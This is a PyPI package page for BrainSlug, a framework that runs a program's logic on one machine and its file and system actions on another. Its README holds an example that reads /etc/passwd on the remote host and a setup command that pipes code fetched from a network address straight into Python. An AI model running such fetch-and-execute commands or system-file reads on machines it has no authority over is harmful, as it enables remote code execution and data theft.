Skip to main content
https://raw.githubusercontent.com/BBVA/brainslug/master/assets/images/brainslug.png https://img.shields.io/pypi/v/brainslug.svg https://img.shields.io/circleci/project/github/BBVA/brainslug/master.svg https://readthedocs.org/projects/brainslug/badge/?version=latest License Apache

BrainSlug is a framework for parasitic computing. Allowing you to write programs which code and logic live in a computer but actions or side-effects are performed on another.

Example:

from brainslug import run, slug, body

@slug(remote=body.platform == 'linux')
def get_root_shell(remote):
    with remote.open('/etc/passwd', 'r') as passwd:
        for line in passwd:
            if line.startswith('root'):
                return line.split(':')[-1]

run(get_root_shell)

This code should be run in a computer we call slug. Running this code will open the port 8080 and stop execution until a body connects to it.

To connect a body, in a remote system run the following:

$ curl http://<slug-ip>:8080/boot/python | python

This will spawn the body to life and connect it with the slug.

The program continues running in the slug, but the file reads are performed in the body.

More examples on the example section.

Metadata

Release files for brainslug 0.0.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for brainslug 0.0.2
File Size Uploaded
brainslug-0.0.2.tar.gz 6.0 kB Details

Release files / brainslug-0.0.2.tar.gz

Download URL brainslug-0.0.2.tar.gz
Size 6.0 kB
Tags Source
SHA-256 checksum
How to use checksums
8d86310a0538d5126d54a74c7195044a328f2ac2d31698921ca573fc2f9b0017
BLAKE2b-256 checksum
How to use checksums
1139f9fa740ce001316639b429c8ac1f5d4cd8155608e0cd933dd33c3feadd7c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via Python-urllib/3.7

Release history Release notifications | RSS feed

This release

0.0.2 This release

1 release file

0.0.1

1 release file

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page